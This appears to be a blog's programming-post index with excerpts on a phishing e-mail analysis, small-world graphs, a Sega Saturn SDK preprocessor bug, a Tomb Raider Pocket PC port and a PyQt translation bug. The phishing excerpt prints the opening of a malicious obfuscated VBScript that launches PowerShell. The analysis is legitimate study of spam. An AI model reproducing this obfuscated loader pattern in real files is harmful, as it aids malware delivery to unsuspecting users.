# Programming

## A 10-post collection

I just received a spam e-mail impersonating the French social security ("Assurance Maladie"), which tells me to download my tax statement which they have graciously attached.

There are multiple things to notice here:

• the sender address: [email protected]
• onmicrosoft.com is used by Office 365 addresses, so they probably used Azure or something like that
• the whole message is a picture, probably a screenshot of a real e-mail. Well, at least that way they don't write a fake message in broken Google-Translated French

Now, the attachments.

No PDF file, that's unusual, it's quite common for this kind of spam, but rejoice! we have a VBScript file right there.

(the CSV file and the .bin file don't contain anything interesting, or at least I didn't find anything interesting in them)

Here is the VBS file, raw as I received it:

on error resume next:on error resume next:on error resume next:on error resume next:on error resume next:on error resume next:on error resume next:on error resume next:JPHgjNP = replace("WiDDXetmcript.iDDXetmhEll","iDDXetm","s"):Set cfAKtQG = CreateObject(JPHgjNP ):izZHSpc = Replace("POWlZsTwIURSHlZsTwIULL","lZsTwIU","E"):WScript.Sleep 2000:WScript.Sleep 2000:cfAKtQGcfAKtQGNXPDFLW = "  \$00Q1KNH<##>='(New-';

Have you ever heard about "six degrees of separation"? It's about the famous idea that there are always less than about six persons between two individuals chosen at random in a population. Given enough people, you'll always find someone whose uncle's colleague has a friend that knows your nextdoor neighbour.

Fun fact: it's where the name of the long-forgotten social network sixdegrees.com came from.

Mathematically, it checks out. If you have 10 friends and each of those friends has 10 friends, in theory that's a total of 1+10+9*10=101 individuals. In practice, when you have 10 friends, they probably know each other as well, and their friends most probably do too. You end up with way fewer than 101 people, and no two persons in your "social graph" ever end up more than one or two handshakes away from each other.

In graph theory, those kinds of graphs where you have densely connected communities, linked together by "hubs", i.e. high-degree nodes, are called "small-world networks".

Oh you know Bob? Isn't it a small world!

I learned about it a few weeks ago in a very nice (French) video on the subject, and immediately thought "I

If you ever want to write code for the Sega Saturn using the Psy-Q SDK (available here), you may encounter a small problem with the toolset when using #include directives.

Example:

This will crash with the following error: main.c:1: abc.h: No such file or directory, which is quite strange given that we explicitely told the compiler to look in that THING folder.

What we have:

• CCSH.EXE : main compiler executable (C Compiler Super-H)
• CPPSH.EXE preprocessor (C PreProcessor Super-H)

CCSH calls CPPSH with the source file first to get a raw code file to compile, and then actually compiles it. Here, we can see by running CPPSH alone that it still triggers the error, which means the problem effectively comes from CPPSH. After a thorough analysis in Ida, it seems that even though the code that handles parsing the command-line parameters related to include directories, those paths aren't actually added to the program's internal directory array and thus never actually

Lately, I've been decompiling Tomb Raider 5 with some friends and while researching potential sources of debug informations that could help the process, I stumbled upon the Pocket PC version of Tomb Raider 1. It was ported by Ideaworks3D, a London-based game development company specialized in porting.

It's supposed to run on low-performance handheld devices running Windows Mobile/CE 5.0 and thus one would imagine that they have simply taken the Windows code and tweaked it a little bit to make it run on CE. Well as I discovered, it's more complicated than that. First, there is no Windows version of TR1, it was only released for DOS and was never ported to either Win16 or Win32. Second, they actually didn't take the PC version as a base, but the PSX version.

It may seem weird, why take the PSX version if your product is going to run on Windows CE. As it appears, Ideaworks3D seems to have developed an in-house userland syscall JIT translator for PSX, and uses it when porting games to CE. In other words, they compile the PSX codebase to ARM code and link that binary against a DLL file called iepaella.dll which contains

For my latest project (Turing), I chose to use PyQt 5 for the GUI because it's what seemed the best to me to allow the whole thing to be cross-platform without much of a hassle. It has done its job quite well for about everything.

After some months of development though, I ran into an issue I was unable to fix : there is a bug, somewhere inbetween pylupdate5 (that scans code files for lines to translate) and lrelease (that compiles .ts files to .qm files) which basically prevents using non-ASCII characters in source strings. You can use them in translated strings, but not in the code files.

Quite strange, since both the code files and the .ts files (which are in XML format) are encoded in UTF-8. Or so I thought.

It seems that lrelease assumes that everything is ASCII (well, to be precise, Latin-1) if you don't specify it at each <message> element in the file, even though the very first line of the file (the XML header) specifies the encoding, in this case utf-8. pylupdate5 has no problem with that and assumes UTF-8 by default.

The workaround is to add an attribute to each <message&